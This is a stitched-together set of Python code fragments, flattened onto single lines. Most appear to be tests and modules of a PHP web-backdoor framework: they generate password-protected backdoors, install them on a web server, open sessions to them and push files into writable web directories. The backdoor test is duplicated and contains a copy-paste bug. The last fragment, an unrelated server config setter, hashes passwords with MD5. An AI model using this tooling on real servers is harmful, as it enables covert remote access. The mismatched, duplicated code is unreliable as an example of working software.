def _prepare_vector(self): remote_path = self.args['rpath'] self.formatted_args['rpath'] = self.args['rpath'] # First check remote file existance if not self.support_vectors.get('check_readable').execute({'rpath' : remote_path}): raise ProbeException(self.name, '\'%s\' %s' % (remote_path, WARN_NO_SUCH_FILE)) # Vectory copy and symlink needs to search a writable directory before if self.current_vector.name in ( 'copy', 'symlink' ): filename_temp = randstr() + remote_path.split('/').pop(); upload_test = self.support_vectors.get('upload2web').execute({ 'rand' : filename_temp}) if not upload_test: raise ExecutionException(self.current_vector.name,'No transfer url dir found') self.formatted_args['downloadpath'] = upload_test[0] self.args['url'] = upload_test[1] self.support_vectors.get('remove').execute({ 'path' : self.formatted_args['downloadpath'] })
def test_sessions(self): phpbd_pwd = randstr(4) temp_file1 = NamedTemporaryFile(); temp_file1.close(); temp_file2 = NamedTemporaryFile(); temp_file2.close(); temp_file3 = NamedTemporaryFile(); temp_file2.close(); self.assertEqual(self._res(':generate.php %s %s' % (phpbd_pwd, temp_file1.name)),temp_file1.name) self.assertEqual(self._res(':generate.php %s %s' % (phpbd_pwd, temp_file2.name)),temp_file2.name) self.assertEqual(self._res(':generate.php %s %s' % (phpbd_pwd, temp_file3.name)),temp_file3.name) url1 = self._install_new_bd(temp_file1.name, '%s.php' % randstr(5)) url2 = self._install_new_bd(temp_file2.name, '%s.php' % randstr(5)) url3 = self._install_new_bd(temp_file3.name, '%s.php' % randstr(5)) # Check current session curr1 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual(outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr1, os.linesep, curr1, os.linesep, curr1, os.linesep, os.linesep)) # Load bd1 by url outp = self._warn(':session %s %s' % (url1, phpbd_pwd)) curr2 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual(outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr2, os.linesep, "', '".join(sorted([curr2, curr1])), os.linesep, curr1, os.linesep,os.linesep)) # Load bd2 by session file outp = self._warn(':session %s %s' % (url1, phpbd_pwd)) curr2 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual(outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr2, os.linesep, "', '".join(sorted([curr2, curr1])), os.linesep, curr1, os.linesep,os.linesep)) # Create bd3 session file, not in session curr3 = '/tmp/%s.session' % randstr(5) session = default_session.copy() session['global']['url'] = url3 session['global']['password'] = phpbd_pwd self.term.modhandler.sessions._dump_session(session, curr3) # Load bd3 by session file outp = self._warn(':session %s' % (curr3)) outp = self._warn(':session') self.assertEqual(outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr3, os.linesep, "', '".join(sorted([curr2, curr3, curr1])), os.linesep, curr1, os.linesep,os.linesep)) # Unexistant session file self.assertRegexpMatches(self._warn(':session /tmp/asd'), WARN_NOT_FOUND) # Unexpected session file self.assertRegexpMatches(self._warn(':session /etc/motd'), WARN_BROKEN_SESS) # Create session file without fields curr4 = '/tmp/%s.session' % randstr(5) open(curr4,'w').write("""[global] url = asd username = hostname = rcfile =""") # Broken session file self.assertRegexpMatches(self._warn(':session %s' % curr4), WARN_BROKEN_SESS) # Load broken session file at start call = "'echo'" command = '%s session %s %s' % (conf['cmd'], curr4, call) status, output = getstatusoutput(command) self.assertRegexpMatches(output, WARN_BROKEN_SESS)
def test_sessions(self): phpbd_pwd = randstr(4) temp_file1 = NamedTemporaryFile() temp_file1.close() temp_file2 = NamedTemporaryFile() temp_file2.close() temp_file3 = NamedTemporaryFile() temp_file2.close() self.assertEqual( self._res(':generate.php %s %s' % (phpbd_pwd, temp_file1.name)), temp_file1.name) self.assertEqual( self._res(':generate.php %s %s' % (phpbd_pwd, temp_file2.name)), temp_file2.name) self.assertEqual( self._res(':generate.php %s %s' % (phpbd_pwd, temp_file3.name)), temp_file3.name) url1 = self._install_new_bd(temp_file1.name, '%s.php' % randstr(5)) url2 = self._install_new_bd(temp_file2.name, '%s.php' % randstr(5)) url3 = self._install_new_bd(temp_file3.name, '%s.php' % randstr(5)) # Check current session curr1 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual( outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr1, os.linesep, curr1, os.linesep, curr1, os.linesep, os.linesep)) # Load bd1 by url outp = self._warn(':session %s %s' % (url1, phpbd_pwd)) curr2 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual( outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr2, os.linesep, "', '".join(sorted( [curr2, curr1])), os.linesep, curr1, os.linesep, os.linesep)) # Load bd2 by session file outp = self._warn(':session %s %s' % (url1, phpbd_pwd)) curr2 = self.term.modhandler.sessions.current_session_name outp = self._warn(':session') self.assertEqual( outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr2, os.linesep, "', '".join(sorted( [curr2, curr1])), os.linesep, curr1, os.linesep, os.linesep)) # Create bd3 session file, not in session curr3 = '/tmp/%s.session' % randstr(5) session = default_session.copy() session['global']['url'] = url3 session['global']['password'] = phpbd_pwd self.term.modhandler.sessions._dump_session(session, curr3) # Load bd3 by session file outp = self._warn(':session %s' % (curr3)) outp = self._warn(':session') self.assertEqual( outp, "Current session: '%s'%sLoaded: '%s'%sAvailable: '%s'%s%s" % (curr3, os.linesep, "', '".join(sorted([curr2, curr3, curr1])), os.linesep, curr1, os.linesep, os.linesep)) # Unexistant session file self.assertRegexpMatches(self._warn(':session /tmp/asd'), WARN_NOT_FOUND) # Unexpected session file self.assertRegexpMatches(self._warn(':session /etc/motd'), WARN_BROKEN_SESS) # Create session file without fields curr4 = '/tmp/%s.session' % randstr(5) open(curr4, 'w').write("""[global] url = asd username = hostname = rcfile =""") # Broken session file self.assertRegexpMatches(self._warn(':session %s' % curr4), WARN_BROKEN_SESS) # Load broken session file at start call = "'echo'" command = '%s session %s %s' % (conf['cmd'], curr4, call) status, output = getstatusoutput(command) self.assertRegexpMatches(output, WARN_BROKEN_SESS)
def _setenv(cls): cls.basedir = os.path.join(conf['env_base_writable_web_dir'], randstr(4)) cls._env_mkdir(cls.basedir)
def test_upload2web(self): filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) env_writable_base_url = urljoin( conf['env_base_web_url'], self.basedir.replace(conf['env_base_web_dir'], '')) env_writable_url = urljoin( conf['env_base_web_url'], conf['env_base_writable_web_dir'].replace(conf['env_base_web_dir'], '')) self._outp('cd %s' % self.basedir) self.assertEqual(self._res(':file.upload2web /etc/protocols'), [ '%s/protocols' % self.basedir, '%s/protocols' % env_writable_base_url ]) self.assertEqual( self._res(':file.upload2web /etc/protocols %s/protocols' % os.path.join(self.basedir, self.dirs[0])), [ '%s/protocols' % os.path.join(self.basedir, self.dirs[0]), '%s/protocols' % os.path.join(env_writable_base_url, self.dirs[0]) ]) # Out of web root self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols /asp'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols /tmp/protocols'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols -startpath /tmp/'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols ../../../protocols'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols -startpath ../../../'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) # In webroot but not writable self.assertRegexpMatches( self._warn(':file.upload2web /etc/protocols %s/protocols' % conf['env_base_notwritable_web_dir']), modules.file.upload.WARN_UPLOAD_FAIL) self.assertEqual( self._res(':file.upload2web /etc/protocols -startpath ../ -force'), [ '%s/protocols' % conf['env_base_writable_web_dir'].rstrip('/'), '%s/protocols' % env_writable_url.rstrip('/') ]) self.__class__._env_rm('%s/protocols' % conf['env_base_writable_web_dir']) self.assertEqual( self._res(':file.upload2web /bin/true -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual( self._res( ':file.upload2web /bin/true -vector file_put_contents -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual( self._res(':file.upload2web /bin/true -vector fwrite -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual( self._res(':file.upload2web /bin/true -chunksize 2048 -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual( self._res(':file.upload2web /bin/asd -content MYTEXT -force'), ['%s/asd' % self.basedir, '%s/asd' % env_writable_base_url]) self.assertEqual( self._outp(':file.read %s' % ('%s/asd' % self.basedir)), 'MYTEXT') self.assertEqual( self._res(':file.upload2web /etc/protocols %s' % filename_rand), [ '%s/%s' % (self.basedir, filename_rand), '%s/%s' % (env_writable_base_url, filename_rand) ])
option, value = sys.argv[1:] if option == 'ip': if value != '*' and not is_valid_ip(value): print 'Error: %s is not a valid IP address' % value sys.exit(-1) config.set('server', 'ip', value) elif option == 'port': port = int(value) if not port > 0 and port < 65535: print 'Error: port number should between 0 and 65535' sys.exit(-1) config.set('server', 'port', value) elif option == 'username': config.set('auth', 'username', value) elif option == 'password': key = randstr() md5 = hashlib.md5(value).hexdigest() pwd = hmac.new(key, md5).hexdigest() config.set('auth', 'password', '%s:%s' % (pwd, key)) elif option == 'loginlock': if value not in ('on', 'off'): print 'Error: loginlock value should be either on or off' sys.exit(-1) if value == 'on': config.set('runtime', 'loginlock', 'on') config.set('runtime', 'loginfails', 0) config.set('runtime', 'loginlockexpire', int(time.mktime(datetime.datetime.max.timetuple()))) elif value == 'off': config.set('runtime', 'loginlock', 'off') config.set('runtime', 'loginfails', 0)